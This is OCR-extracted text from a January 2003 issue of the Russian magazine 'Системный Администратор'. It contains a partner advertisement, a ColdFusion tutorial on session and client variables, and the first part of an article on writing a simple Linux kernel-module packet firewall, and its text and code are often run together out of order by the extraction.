Группа компаний InPriceКомпания InPrice – многопрофильный профессиональный реселлер компьютерных комплектующих, пери-ферии и телекоммуникационного оборудования, работающий на российском рынке с 1996г. Компания InPriceявляется эксклюзивным дистрибьютором мобильных накопителей данных ZIV, генеральным дистрибьюто-

ром компании Minds@Work на территории России и стран СНГ, бизнес-партнёром компании IOI Technology CorporationTaiwan, авторизованным партнёром Compaq, АPC, крупнейшим в Восточной Европе OEM партнёром компании Fujitsu,производственным партёром компании USBnet, Inc. Бизнес кредо компании InPrice – находить, развивать и системновыводить на рынок новые, не имеющие аналогов продукты и решения.Компания IDS (InPrice Data Systems) – научно-производственная компания, участник группы компаний InPrice. Основ-

ным направлением деятельности компании являются сборка и обслуживание компьютеров и внешних мо-бильных накопителей данных, консалтинговые услуги для корпоративных клиентов, а также разработкакомплексных решений в области электроники и компьютерной техники. Ранее компания IDS существовала

как производственное подразделение компании InPrice и была известна по одноимённой торговой марке компьютер-ной техники. В августе 2002 года данное производственное подразделение было выделено в самостоятельное юри-дическое лицо. Компания IDS нацелена на расширение производства электроники и компьютерной техники в Россиии внедрение новых разработок в области цифровых систем хранения данных.

Positive Technologies – компания информационной безопасности, специализирующаяся назащите сетей от взломов (т.н. хакерских атак). Компания Positive Technologies является раз-работчиком знаменитого сканера сетевой безопасности XSpider, признанного одним излучших продуктов в своем классе. Специалисты компании обладают большим опытом в

выполнении проектов по защите компьютерных сетей разного уровня сложности – от небольших компаний до банкови международных платежных систем.

Задача альянса – создание целенаправленной скоординированной программы продвижения объединенной торго-вой марки предоставления комплексных услуг и завершенных решений для корпоративных клиентов в сфере IT,являющейся эффективным дополнением самостоятельного продвижения каждой компании.

Page 80: 002 Системный Администратор 01 2003

78

программирование

УПРАВЛЕНИЕСЕССИЯМИ ВCOLDFUSION,

УПРАВЛЕНИЕСЕССИЯМИ ВCOLDFUSION,

АЛЕКСАНДР МЕЖЕНКОВ

ИЛИЗДРАВСТВУЙТЕ,

Я – ВАШАТЕТЯ

ИЛИ

Рассмотрим ситуацию. Покупатель винтернет-магазине заполнил регистра-ционную форму, побродил по странич-кам с выложенным товаром, отложилкое-что в корзинку, потом прикинулсколько еще жить до получки, посиделв задумчивости перед экраном минутдвадцать и с сожалением решил вы-ложить из корзинки совершенно не-нужные ему сейчас галоши. Возника-ет вопрос, а как web-сервер распозна-ет его при каждом новом обращении.И вообще, как web-сервер различаеткаждого из сотен посетителей, обра-щающихся к различным страницамсайта? Одному нужно одно, другому –другое. И о каждом нужно помнить,чтобы после очередного обращения не

спрашивать его удивленно: «А тыкто?» и заставлять его заново запол-нять регистрационную форму.

Ответ на первый взгляд может по-казаться странным: никак!

Давайте попробуем разобраться.Здесь мы предполагаем, что с момен-та прочтения нашей первой статьи(«ColdFusion, или Возможно, лучшеерешение для создания динамическихсайтов», журнал «Системный админи-стратор» №1, октябрь 2002г.) вы успе-ли установить ColdFusion и уже хотя бынемного ориентируетесь в его среде.

Создадим два шаблона ColdFusion.В одном из них (назовем егоsetMyName.cfm) определяется пере-менная: myName, после чего немед-

ленно вызывается другой шаблонsayHi.cfm:

Тег <cflocation> и осуществляет об-ращение к новому шаблону sayHi.cfm,в котором мы предполагаем исполь-зовать значение созданной на преды-дущей странице переменной.

Поместим в файл sayHi.cfm код:

Теперь самое время запуститьsetMyName.cfm. Как только мы сдела-ем это, то немедленно получим сооб-

<cfset myName="Alexander Mejenkov"><cflocation url="sayHi.cfm">

<cfoutput> Well, hello there, #myName#</cfoutput>

Page 81: 002 Системный Администратор 01 2003

79№1(2), январь 2003

программирование

щение об ошибке: «Error resolvingparameter MYNAME». Похоже, что ниweb-сервер, ни ColdFusion и в самомделе нисколько не позаботились отом, чтобы сохранить информацию онашем визите!

Проблема заключается в том, чтоброузер общается с web-сервером, аследовательно и с ColdFusion, при по-средстве HTTP-протокола. А суть иосновное назначение этого протоко-ла заключается в том, чтобы как мож-но скорее обслужить запрос клиента,выдать ему запрашиваемую страни-цу и, завершив с ним сеанс обмена,быть готовым обслуживать следую-щего клиента. Это означает, что web-сервер, обеспечивающий работуHTTP-протокола, после того как об-служит полученный запрос и отправитответ клиенту, совершенно забываето проведенной транзакции. HTTP несохраняет открытым соединение склиентом и поэтому не может знать ипомнить, чем занимался один и тот жеклиент между его последовательны-ми вызовами. Именно поэтомуColdFusion-сервер, который устано-вил переменную myName на однойстранице, не может помнить о ее су-ществовании на другой странице.Каждое следующее обращение, пустьдаже одного и того же клиента HTTP,а следовательно и ColdFusion, рас-сматривают как абсолютно новогоклиента.

ApplicationframeworkДля решения проблемы сохраненияданных между последовательнымивызовами одного и того же клиента вColdFusion введено понятиеapplication framework – структуры (кар-каса) приложения, когда каждое при-ложение имеет свой собственный чет-ко определенный каркас (структуру).Именно этот подход позволяет набо-ру ColdFusion шаблонов (файлов) ра-ботать как единое приложение, ис-пользуя общие переменные. Ключомэтого подхода является файл специ-ального шаблона который называет-ся Application.cfm.

Управление Session- иClient-переменнымиSession-переменные доступны броу-

зеру клиента для текущей сессии (се-анса связи) и для данного приложе-ния.

Session-переменные хранятся впамяти сервера и время их жизни ог-раничено установками сервераColdFusion и вашего приложения.Причем если в приложении времяжизни будет задано больше, чем насервере, то будут действовать уста-новки сервера. Session-переменныеимеют тип структуры. Для доступа кним необходимо использовать пре-фикс Session. За счет того, чтоSession-переменные хранятся в памя-ти сервера, доступ к ним чрезвычай-но быстр.

Client-переменные подобныSession в том смысле, что они уни-кальны для данного пользователя,однако они доступны для броузераклиента в различных сессиях данно-го приложения. Другим отличием яв-ляется место хранения. Client-пере-менные могут храниться в cookies наклиентской машине (естественно, чтодля этого на компьютере клиента дол-жно быть разрешено использованиеcookies), а также в реестре Windows-сервера или в базе данных.

Управление Client- и Session- пе-ременными определяется установка-ми, которые задаются в файлеApplication.cfm, который (если он есть)выполняется перед загрузкой каждойстраницы. Обратите внимание на то,что этот файл должен называтьсяименно так и начинаться с заглавнойбуквы «A». Это существенно дляUNIX-систем. Файл может быть одиндля всего приложения и располагать-ся в корневом каталоге приложения,или их может быть несколько и рас-полагаться они могут в подкаталогах,в которых находятся файлы, решаю-щие конкретную задачу.

Для управления как Session-, таки Client-переменными ColdFusion со-здает уникальную пару идентифика-ционных переменных CFID иCFTOKEN. CFID – это последователь-но увеличивающий свое значениесчетчик, а CFTOKEN – содержит уни-кальное случайное число. Типичныезначения этих переменных CFID=3CFTOKEN=54579676. Копии CFID иCFTOKEN сохраняются в памяти сер-вера в виде Session-переменных. Вто-рая копия этих переменных сохраня-

ется в виде cookies на клиентскоймашине. Когда пользователь осущес-твляет запрос к ColdFusion-приложе-нию, значения CFID и CFTOKEN, каки все cookies, направляются на сер-вер. Далее сервер ColdFusion пытает-ся сопоставить полученные значенияс парой, хранящейся в своей памяти.Если они совпадают, пользовательи/или его сессия идентифицируются.В случае если вам известно, что напользовательской машине использо-вание cookies запрещено, вам придет-ся несколько усложнить свое прило-жение, предусмотрев пересылку вруч-ную этих переменных через URL- илиFORM-переменные. Например, в теге<cflocation> для этого предусмотренспециальный атрибут ADDTOKEN =«Yes».

Для задания установок управле-ния Session- и/или Client-переменны-ми используется тег <cfapplication>,включаемый в файл Application.cfm.

Рассмотрим cинтаксис тега<cfapplication>:

! name – имя вашего приложения;! clientManagement – необязатель-

ный параметр. Разрешает исполь-зование Client-переменных. Зна-чение по умолчанию – «No»;

! clientStorage – необязательныйпараметр. Определяет место хра-нения Client-переменных. Поумолчанию – реестр;

! setClientCookies – необязательныйпараметр. Значение «Yes» разре-шает использование cookies наклиентской машине. Значение поумолчанию – «Yes». Если этот ат-рибут установлен в «No»,ColdFusion автоматически не пы-тается сохранить CFID иCFTOKEN в виде cookies на кли-ентской машине. В этом случаевы должны вручную включитьCFID и CFTOKEN в URL каждойстраницы, на которой использу

<cfapplication name = "application_name"clientManagement = "Yes" or "No"clientStorage = "datasource_name"

or "Registry" or "Cookie"setClientCookies = "Yes" or "No"sessionManagement = "Yes" or "No"sessionTimeout =

#CreateTimeSpan(days, hours,minutes, seconds)#

applicationTimeout = #CreateTimeSpan(days, hours, minutes,

seconds)#setDomainCookies = "Yes" or "No">

Page 82: 002 Системный Администратор 01 2003

80

программирование

ются Session- или Client-перемен-ные;

! sessionManagement – параметр необязателен. Значение «Yes» раз-

решает использование Session-переменных. Значение по умол-чанию – «No»;

! sessionTimeout – необязательныйпараметр. Определяет время жиз-ни Session-переменных в видеобъекта date/time, возвращаемо-го функцией CreateTimeSpan(). Ар-гументы этой функции задаются вчисловых величинах: дни, часы,минуты и секунды, разделенныезапятыми. Значение по умолчаниюопределяется на странице Varia-bles в ColdFusion Administrator;

! applicationTimeout – необязатель-ный параметр. Определяет времяжизни Application-переменных (вданной статье мы их не рассмат-риваем) в виде объекта date/time,возвращаемого функцией Create-TimeSpan(). Аргументы этой фун-кции задаются в числовых вели-чинах: дни, часы, минуты и секун-ды, разделенные запятыми. Зна-чение по умолчанию определяет-ся на странице Variables вColdFusion Administrator;

! setDomainCookies – необязательныйпараметр. Устанавливает CFID иCFTOKEN cookies для всего доме-на, а не только для текущего хоста.Значение по умолчанию – «No».Этот атрибут следует устанавливатьв «Yes» только для приложений, ис-пользуемых в кластерах.

Типичное применение тега<cfapplication> выглядит следующимобразом:

При использовании Session-пере-менных возникает проблема момен-та окончания сессии. Фактически сес-сия уже может закончиться, а cookiesвсе еще будут жить на машине кли-ента. Например, в приведенном вышетеге <cfapplication> время жизниcookies установлено 1 час. В этом слу-чае любой человек с машины клиен-та в течение 1 часа, после того как

настоящий клиент покинул свое ра-бочее место, сможет продолжитьсессию.

Решение проблемы:

Как видно в приведенном вышекоде CFID и CFTOKEN cookies,созданные сервером ColdFusionв процессе обработки файлаApplication.cfm, надо переписать (пе-ресоздать), но без объявления време-ни жизни, точнее опустив атрибутEXPIRES. Благодаря странному пове-дению cookies (по крайней мере в MSIE) они создаются в памяти, даже ког-да пользователь запретил их исполь-зование на своей машине.

При подобном переопределении(как в приведенном выше коде)cookies будут созданы лишь в памятимашины клиента, а не будут записа-ны на его жесткий диск. И тогда, кактолько приложение броузера будетзакрыто, информация о cookies так-же будет удалена из памяти и, какследствие, сессия будет закончена сзакрытием окна броузера.

Плюсы и минусыSession-переменныхБлагодаря тому что Session-перемен-ные хранятся в памяти сервера, в ка-честве Session-переменных можно ис-пользовать не только простые типыданных, но и сложные типы, такие какмассивы, структуры и запросы.

Но эта же причина (хранениеSession-переменных в памяти серве-ра) не позволяет их использовать в си-туации, когда несколько серверов ра-ботают в одном кластере.

У Session-переменных есть и дру-гой, более существенный недостаток.Он проистекает из того, какColdFusion управляет этими перемен-ными. Может случиться так, чтоColdFusion спутает разные потоки дляразличных броузеров, и переменные,установленные для одного броузерабудут использованы в другом потоке,где обрабатываются запросы от вто-рого броузера. Эта проблема возни-

кает не только для Session-перемен-ных, но для всех переменныхapplication- и server- области опреде-ления. Allaire называет эти перемен-ные «shared scope» (переменные раз-деляемой области видимости).

Почему это происходит?В процессе работы ColdFusion сер-

вер способен обрабатывать одновре-менно несколько запросов, выполняякаждый из них в отдельной областипамяти. Приложения, которые могутвыполнять одновременно несколькозапросов, называются многопоточны-ми («multi-threaded applications») при-ложениями. То есть поток – это от-дельная область памяти.

Проблема повреждения данныхвозникает, когда в многопоточномприложении возникает попытка одно-временного доступа к «shared scope»-переменным. Решение проблемы зак-лючается в ограничении доступа кпеременным так, чтобы, покаColdFusion-сервер обрабатывает«shared scope»-переменную, ни одиндругой процесс не мог бы к ней обра-титься. Подобный запрет временнопревращает ColdFusion-сервер в од-нопоточное приложение. То есть про-блема заключается не столько в са-мом ColdFusion, сколько в небрежно-сти программиста, не предусмотрев-шего возможности одновременногообращения разных клиентов к одними тем же данным. Ограничение дос-тупа к переменным достигается ис-пользованием тега <cflock>.

Этот тег имеет несколько атрибутов:! name – в основном используется

для обратной совместимости вер-сий или для специальных случаев,которые для данного случая неимеют значения;

! scope – определяет одну из раз-деляемых областей видимости(shared scopes): session, applicationили server;

! timeout – время, в течение которо-го программа должна пытаться по-лучить подтверждение блокиров-ки (время ожидания может возник-нуть в случае, если другой <cflock>уже успешно заблокировал сер-вер);

! throwontimeout – логическое значе-ние (Yes/No), определяет, нужно лигенерировать событие ошибки приневозможности получить блоки-

<cfapplicationname="myBestApplication" ClientManagement="No" SessionManagement="Yes"

SessionTimeout=#CreateTimeSpan(0,0,1,0)# SetClientCookies="Yes">

<cfif IsDefined("Cookie.CFID") ANDIsDefined("Cookie.CFTOKEN")>

<cfset localCFID = Cookie.CFID><cfset localCFTOKEN = Cookie.CFTOKEN><cfcookie name = "CFID"

value="#localCFID#"><cfcookie name = "CFTOKEN"

value="#localCFTOKEN#"></cfif>

Page 83: 002 Системный Администратор 01 2003

81№1(2), январь 2003

программирование

ровку по истечении времениtimeout. При использовании этогопараметра вы наверняка захотитепоместить свой <cflock>-код в блок<cftry><cfcatch>;

! type – «readonly» или «exclusive».Блокировка типа Readonly на са-мом деле не совсем блокировка.Ее лучше сравнить со своего родателохранителем: если какой-ни-будь другой процесс попытаетсяполучить блокировку, этот тип бло-кировки воспрепятствует или, луч-ше сказать, не допустит этого.Блокировка Readonly использует-ся, когда нет нужды изменять зна-чение переменных из shared scopeобласти видимости. БлокировкаReadonly существенно улучшаетбыстродействие по сравнению сExclusive-блокировкой. Блокиров-ку Exclusive следует использоватьво всех случаях, когда требуетсясоздать, изменить или удалить«shared scope»-переменные.

Client-переменныеClient-переменные – это другой под-ход к созданию постоянных глобаль-ных переменных. Но если, как ужеотмечалось, Session-переменныехранятся в памяти сервера, тоСlients-переменные хранятся на фи-зическом носителе: либо в реестремашины, где установлен серверColdFusion, либо в указанном ODBCисточнике данных, либо в видеcookies на клиентской машине.

Client-переменные, так же как иSession-переменные, используют оди-наковую систему идентификациипользователя с помощью CFID иCFTOKEN, однако Client имеют неко-торые преимущества. Поскольку дляхранения Client-переменных можноуказать центральную базу данных,здесь не возникает проблемы досту-па к ним в многосерверном окруже-нии. Все серверы в кластере могутиспользовать эту базу данных. Дляиспользования этой центральнойбазы данных надо просто сконфигу-рировать ODBC источник данных, ука-зав на любую пустую базу данных (ес-тественно, предварительно ее со-здав), для которой у ColdFusion естьnative (родной) ODBC драйвер (напри-мер Access), а затем в ColdFusion-ад-министраторе указать (пометив check

box) на использование этого источни-ка данных для хранения Client-пере-менных.

Проблемы с Client-переменными и их решениеКазалось бы: если Client-переменныелишены всех недостатков Session-пе-ременных, то почему бы их не исполь-зовать всегда и вообще не отказать-ся от Session-переменных. Дело в том,что у Client-переменных есть свои не-достатки и перед тем, как отказывать-ся от Session-переменных, необходи-мо устранить их.

Первый недостаток: посколькуClient-переменные хранятся на физи-ческом носителе, то невозможно «влоб» использовать сложные типы дан-ных (такие как массивы, структуры изапросы). Эта проблема решается спомощью WDDX-технологии. (WDDX-технология – тема одной из следую-щих статей).

Другая проблема связана со вре-менем жизни. Если у Session-пере-менных время жизни можно задать сточностью до секунды, используяфункцию CreateTimeSpan (days, hours,minutes, seconds), то Client-перемен-ные в этом смысле гораздо грубее.Единственная возможность для огра-ничения их времени жизни – это за-дать в ColdFusion-администраторечисло дней, по истечении которых содня последнего визита пользователя,относящиеся к нему переменные бу-дут удалены («purge data for clients thatremain unvisited for n days»).

Поскольку Client-переменные, также как и Session-переменные, исполь-зуют пару cookies CFID и CFTOKEN,то использовав тот же прием по пе-реписыванию этих cookies без указа-ния параметра EXPIRED, можно огра-ничить время использования Client-переменных текущим сеансом. Тоесть как только окно броузера будетзакрыто, эти cookies будут стерты ипри следующем обращении клиент небудет идентифицирован. Но все рав-но для ограничения их времени жиз-ни в базе данных нет такой гибкостиопределения времени с точностью досекунды. Хоть cookies и будут унич-тожены с закрытием окна броузера, сфизического носителя они будут стер-ты лишь по окончании числа дней,указанных в администраторе.

Brian Kotek, написавший ряд сове-тов для ColdFusion в CNET Builder.com(http://builder.cnet.com/), предложилпрекрасный custom tag, «Client-Timout.cfm», для решения этой про-блемы и предоставления возможнос-ти детализации времени жизни Client-переменных. Ниже приводится кодэтого тега:

Для использования этого тега егонеобходимо вызвать ДО обращенияк любой из ColdFusion страниц – обыч-но это в Application.cfm файле.

Атрибут timeout – это число минут,в течение которых вы хотите, чтобыClient-переменные оставались актив-ными после запроса очередной стра-ницы.

Какие переменные когда исполь-зовать?

Cookies обычно используются дляне слишком важных данных, потерякоторых никоим образом не можетповлиять на работу приложения. Кро-ме того, поскольку cookies привязанык конкретному компьютеру, их необ-ходимо создавать на каждом компь-ютере, с которого клиент запускаетприложение.

Session-переменные обычно ис-пользуются для ответственных дан-ных, поскольку эта информация хра-нится в памяти сервера и никогда непередается на машину клиента. На-пример, Session-переменные могутиспользоваться для идентификациипользователя.

Пользовательские предпочтения,содержимое покупательской корзин-ки или права доступа клиента явля-ются хорошими кандидатами дляClient-переменных.

<cf_ClientTimeout timeout="15">

<CFPARAM NAME="CLIENT.CheckLastVisit"DEFAULT="#CreateODBCDateTime(Now())#">

<CFSET Compare = DateCompare(DateAdd(«n»,(ATTRIBUTES.TimeOut * -1),C r e a t e O D B C D a t e T i m e ( N o w ( ) ) ) ,CLIENT.CheckLastVisit)>

<CFIF Compare IS NOT -1><CFSET CALLER.TimedOut = "Yes"><CFELSE><CFSET CALLER.TimedOut = "No"></CFIF>

<CFSET CLIENT.CheckLastVisit =CreateODBCDateTime(Now())>

Page 84: 002 Системный Администратор 01 2003

82

программирование

# ifdef CONFIG_SF_FIREWALL# include <linux/sf_kernel.h># endif

Общий алгоритмфункционирования брандмауэраВ состав брандмауэра входят следующие элементы:! загружаемый модуль ядра;! процесс-демон;! программа инициализации и запуска процесса- демона.

Брандмауэр приводится в действие путем загрузкимодуля ядра, инициализации и запуска процесса-демона,который передает модулю данные, определяющие прави-ла фильтрации пакетов. Эти правила демон получает приинициализации.

Задача модуля – взаимодействие с приемной функци-ей протокола IP с целью анализа сетевого пакета и фор-мирование данных для ведения log-файла.

Поступивший из сети пакет передается для дальней-шей обработки драйверу сетевого адаптера. Драйвер,выполнив возложенные на него обязанности, отдает па-кет приемной функции протокола сетевого уровня (в на-шем случае это IP). Приемная функция, прежде чем про-должить обработку пакета, передает его для анализа мо-дулю ядра. На основании полученных от процесса-демо-на правил фильтрации модуль определяет, может ли па-кет проследовать далее по сетевому стеку или он долженбыть блокирован (отброшен). О своем решении модуль

уведомляет приемную функцию и процесс-демон, кото-рый на данном этапе выполняет роль секретаря (ведетlog-файл).

Для упрощения задачи брандмауэр фильтрует тольковходящий трафик на предмет недопущения в систему па-кетов, отправителем которых является хост с определен-ным IP-адресом.

Для того чтобы вся эта схема заработала, в ядро сис-темы необходимо внести некоторые изменения.

ЯДРО

Приемная функция протокола IPПервое, что мы должны сделать, – это модифицироватьприемную функцию протокола IP. Данная функция распо-ложена в файле ${KERNEL_SRC}/net/ipv4/ip_input.c, где${KERNEL_SRC} – каталог с исходными текстами ядра.

В список заголовочных файлов добавляем еще одинheader-файл:

Далее в данном файле находим функцию ip_rcv. Со-гласно комментариям она выполняет основную работу по

БРАНДМАУЭРЧасть 1

ВЛАДИМИР МЕШКОВ

БРАНДМАУЭР

Каждый, кому приходилосьобеспечивать безопасность сети,прекрасно знает, что без надежногобрандмауэра обойтись простоневозможно, и что его грамотнаянастройка требует от администратораглубоких знаний, опыта,терпения и времени.Однако многие ли интересовалисьвопросами внутреннего устройстваи принципами функционированиябрандмауэра?Предлагаем вамзаглянуть «внутрь»простого брандмауэраи совершить путешествиепо его исходному коду.

Page 85: 002 Системный Администратор 01 2003

83№1(2), январь 2003

программирование

приему пакетов. В состав функции введем для своих нуждпеременную:

Перед операцией проверки контрольной суммы паке-та (ip_fast_csum) добавляем код, осуществляющий пере-дачу пакета модулю:

Передача пакета модулю происходит при помощи фун-кции sf_fw_chk. Подробно эту функцию мы рассмотримниже. Если возвращаемое значение не равно 1, структу-ра skb, содержащая полную информацию о принятом па-кете (см. <linux/skbuff.h>), обнуляется, приемная функцияотбрасывает этот пакет и ждет очередной.

Файл sf_kernel.hВ данном файле определены некоторые константы и со-держится список экспортируемых функций. Файл имеетследующее содержание:

Функция sf_fw_chk_pass разрешает прохождение паке-та, а функция sf_fw_chk_block – запрещает. Указатель(*sf_fw_chk) настраивается на одну из этих функций взависимости от ситуаций, которые мы рассмотримниже.

Все эти функции определим в файле sf_stub.c.Сформированный файл sf_kernel.h необходимо раз-

местить в каталоге ${KERNEL_SRC}/include/linux.

Файл sf_stub.cЗдесь, как уже было сказано, находятся определенияфункций sf_fw_chk_pass, sf_fw_chk_block и указателя(*sf_fw_chk). В данный файл необходимо включить следу-ющие заголовочные файлы:

По умолчанию, пока модуль не загружен, указатель(*sf_fw_chk) настраивается на функцию sf_fw_chk_pass, ивсе принятые пакеты обрабатываются стандартным спо-собом:

Функция sf_fw_chk_pass разрешает прием всех посту-пивших пакетов:

Функция sf_fw_chk_block блокирует прием пакетов:

Обе функции принимают три параметра:! заголовок IP-пакета (struct iphdr, определена в файле

<linux/ip.h>);! структуру с информацией о сетевом интерфейсе (struct

net_device, определена в заголовочном файле <linux/netdevice.h>);

! идентификатор приемной функции протокола IP (intopt).

Сформированный файл sf_stub.c необходимо размес-тить в каталоге ${KERNEL_SRC}/net/ipv4. В Makefile, на-ходящийся в этом же каталоге, в секцию obj-y добавляет-ся запись sf_stub.o для формирования соответствующегообъектного модуля и последующего включения его в об-щий модуль ipv4.o.

Файл ksyms.cЗаключительным этапом внесения изменений в ядро яв-ляется добавление экспортируемых функций в таблицусимволов ядра, которая расположена в файле${KERNEL_SRC}/kernel/ksyms.c. В перечне заголовочныхфайлов укажем дополнительно файл sf_kernel.h:

и дополним таблицу символов:

Файл config.inДля включения в ядро всех сделанных изменений доба-вим в файл ${KERNEL_SRC}/arch/i386/config.in в секцию“GENERAL SETUP” следующую запись:

После этого необходимо перекомпилировать ядро свключенной поддержкой нашего брандмауэра.

# ifdef CONFIG_SF_FIREWALLint err;

# endif

# ifdef CONFIG_SF_FIREWALLif ((err=sf_fw_chk(iph,dev,SF_STATE_RECEIVE))!=1){

kfree_skb(skb);return 0;

}# endif

#define SF_RC_ACCEPT 1- разрешить прием пакета#define SF_RC_BLOCK 0- блокировать прохождение пакета#define SF_STATE_RECEIVE 0- идентификатор приемной функции

протокола IPextern int sf_fw_chk_pass(struct iphdr *, struct net_device

*, int);extern int sf_fw_chk_block(struct iphdr *, struct net_device

*, int);extern int (*sf_fw_chk)(struct iphdr *, struct net_device

*, int);

#include <linux/config.h>#include <linux/kernel.h>#include <linux/netdevice.h>#include <linux/ip.h>#include <linux/sf_kernel.h>

#ifdef CONFIG_SF_FIREWALLint (*sf_fw_chk)(struct iphdr *ip, struct net_device

*rif, int opt) = sf_fw_chk_pass;

int sf_fw_chk_pass(struct iphdr *ip, struct net_device *rif, int opt)

{return SF_RC_ACCEPT;

}

int sf_fw_chk_block(struct iphdr *ip, struct net_device *rif,int opt)

{return SF_RC_BLOCK;

}#endif /* CONFIG_SF_FIREWALL */

#ifdef CONFIG_SF_FIREWALLEXPORT_SYMBOL(sf_fw_chk_pass);EXPORT_SYMBOL(sf_fw_chk_block);EXPORT_SYMBOL(sf_fw_chk);#endif

bool 'SF_FIREWALL SUPPORT' CONFIG_SF_FIREWALL

#ifdef CONFIG_SF_FIREWALL#include <linux/sf_kernel.h>#endif

Page 86: 002 Системный Администратор 01 2003

84

программирование

МОДУЛЬ ЯДРАТем из вас, кто не знаком с вопросом разработки моду-лей ядра для операционной системы GNU/Linux, рекомен-дую для изучения статью «Написание драйверов в Linux:первые шаги» (http://www.programme.ru/archive/2001/8/082001_1.phtml).

Наш модуль представляет из себя символьное (байт-ориентированное) устройство. Для него необходимо со-здать файл устройства следующей командой:

Заголовочные файлы и переменныеНам понадобятся следующие заголовочные файлы:

Определим старший номер устройства:

Структура с данными для заполнения log-файла:

Назначение полей структуры следующее:! addr – IP-адрес отправителя пакета;! action – выполненное действие (1 – пакет принят, 0 –

пакет отброшен);! ready – флаг готовности данных для считывания.

Регистрация устройства в системеРегистрацию устройства в системе выполняет функцияinit_module:

Если при регистрации произошла ошибка, изменитезначение номера FIREWALL_MAJOR.

Функции модуляТретьим параметром функции регистрации init_module

является адрес структуры struct file_operations firewall_fops(см. <linux/fs.h>). Для нашего модуля мы определим фун-кции открытия устройства, записи/чтения и закрытия.Следовательно, структура firewall_fops примет следующийвид:

Функция открытия устройстваПеред началом работы с устройством необходимо открытьего при помощи системного вызова open(). Функция име-ет следующий вид:

Если устройство уже открыто, сообщить об этом:

Первое, что мы сделаем при открытии, проверим зна-чение младшего номера:

Младший номер должен быть равен 0. Если это не так,возвращается сообщение об отсутствии данного устрой-ства в системе.

Если все в порядке, проверяем режим работы устрой-ства. Устройство должно быть открыто в режиме записи/чтения:

Следующий шаг – выделение памяти для структур:

Данная операция осуществляет выделение памяти впространстве ядра. Наличие спецификатора GFP_ATOMIC(GFP – Get Free Page) указывает на необходимость выде-ления памяти немедленно (в отличии от GFP_KERNEL).

Теперь необходимо снять заглушку, которую мы ра-нее установили. Напомню, что указатель (*sf_fw_chk) былнастроен на функцию sf_fw_chk_pass, и все принятые па-кеты бесприпятственно проходили в систему. После от-крытия модуль снимает заглушку путем настройки указа-теля (*sf_fw_chk) на функцию sf_check_packet, котораяосуществляет непосредственный анализ принятого паке-та на соответствия условиям фильтрации:

if (MINOR(inode->i_rdev) != 0) return -ENODEV;

if ((file->f_mode & 1) != 1) return -EBUSY;

sf_fw_chk = sf_check_packet;

sf_entry_log=(struct data_log *)kmalloc(sizeof(structdata_log),GFP_ATOMIC);

iph=(struct iphdr *)kmalloc(sizeof(structiphdr),GFP_ATOMIC);

mknod /dev/firewall c 44 0

#include <linux/module.h>#include <linux/kernel.h>#include <linux/slab.h>#include <linux/fs.h>#include <linux/netdevice.h>#include <linux/types.h>#include <linux/ip.h>#include <linux/sf_kernel.h>#include <asm/uaccess.h>

int init_module(void){

if(register_chrdev (FIREWALL_MAJOR,"firewall",&firewall_fops))

{printk("unable to get major %d for firewall

device\n", FIREWALL_MAJOR);return -EIO;

}return 0;

}

static int open_firewall(struct inode *inode, struct file*file)

{

if(MOD_IN_USE) return -EBUSY;

struct file_operations firewall_fops = {read: read_firewall,write: write_firewall,open: open_firewall,release: close_firewall,

};

struct data_log{ __u32 addr; int action; int ready;}*sf_entry_log;

#define FIREWALL_MAJOR 44 � старший номер устройства.

Page 87: 002 Системный Администратор 01 2003

85№1(2), январь 2003

программирование

Сама функция sf_check_packet будет приведена ниже.Устанавливаем флаги доступности устройства и готов-

ности данных:

Увеличиваем счетчик использования модуля и выхо-дим из функции:

Функция записи в устройствоВ процессе записи модулю передается IP-адрес хоста, чьипакеты необходимо блокировать. Функция имеет следую-щий вид:

Второй аргумент функции – блок данных, который переда-ется модулю, третий аргумент – размер блока в байтах. Пос-ледний аргумент определяет текущую позицию в файле ус-тройства, мы его в данном примере не используем.

В модуль мы будем передавать структуру, содержа-щую IP-заголовок. В этой структуре поле, соответствую-щее адресу источника, будет содержать значение, опре-деляющее правило фильтрации. Размер блока данныхдолжен быть равен размеру этой структуры. Проверим это:

На время записи в устройство данных заблокируемпрохождение пакетов. Для этого определим вспомогатель-ный указатель на функцию:

Заблокируем прохождение пакетов:

Считываем блок данных в модуль:

Функция copy_from_user() осуществляет копирование бло-ка данных из пространства пользователя в пространствоядра. Данная функция определена в файле <asm/uaccess.h>.

Снимаем блокировку прохождения пакетов:

Фиксируем новую позицию в файле устройства:

Возвращаем в вызывающую функцию число записан-ных байт:

Функция чтения из устройстваВ процессе чтения из устройства считывается информа-ция для заполнения log-файла.

Функция чтения имеет следующий вид:

Второй аргумент данной функции является указате-лем на структуру struct data_log. Проверяем размер зап-рашиваемых данных:

Проверяем доступность устройства:

Передаем вызывающей функции запрашиваемыеданные:

Структуру struct data_log заполняет функцияsf_check_packet().

Фиксируем новую позицию в файле устройства:

Сбрасываем флаг готовности данных для считывания.Установку этого флага выполнит функцияsf_check_packet() после получения очередного пакета:

Возвращаем в вызывающую функцию число считан-ных байт:

Функция sf_check_packetКак уже говорилось, данная функция выполняет провер-ку принятого пакета на соответствие условиям фильтра-ции и заполняет информационную структуру struct data_logдля ведения log-файла.

Функция имеет следующий вид:

if(count!=sizeof(struct iphdr)) return -EINVAL;

int (*sf_fw_chk_save)(struct iphdr *, struct net_device *,int);

sf_fw_chk_save = sf_fw_chk;sf_fw_chk = sf_fw_chk_block;

copy_from_user(iph,buf,sizeof(struct iphdr));

sf_fw_chk = sf_fw_chk_save;

file->f_pos += count;

sf_fw_enabled++;sf_entry_log->ready=1;

MOD_INC_USE_COUNT;return 0;

}

static ssize_t write_firewall(struct file *file, const char*buf, size_t count, loff_t *ppos)

{

count = sizeof(struct iphdr);return count;

}

static ssize_t read_firewall(struct file *file, char *buf,size_t count, loff_t *ppos)

{

if (count!=sizeof(struct data_log)) return -EINVAL;

if (sf_fw_enabled<=0) return -ENODEV;

count = sizeof(struct data_log);return count;

}

int sf_check_packet(struct iphdr *ip, struct net_device *rif,int opt)

{

copy_to_user(buf,sf_entry_log,sizeof(struct data_log));

file->f_pos += count;

sf_entry_log->ready = 0;

Page 88: 002 Системный Администратор 01 2003

86

программирование

Аргументы функции были перечислены выше.Заполнить поле addr структуры sf_entry_log IP-адре-

сом источника пакета:

Проверить адрес принятого пакета:

Если IP-адрес полученного пакета совпадет с тем, ко-торый необходимо блокировать, приемная функция про-токола IP получит команду на сброс пакета, и будет уста-новлен флаг готовности данных для чтения из устройства.

Если это условие не выполняется, то пакет будет до-пущен для дальнейшей обработки:

Функция закрытия устройстваФункция имеет следующий вид:

Декремент флага доступности устройства:

Блокируем все поступающие пакеты:

Освобождаем память:

Уменьшаем счетчик использования модуля:

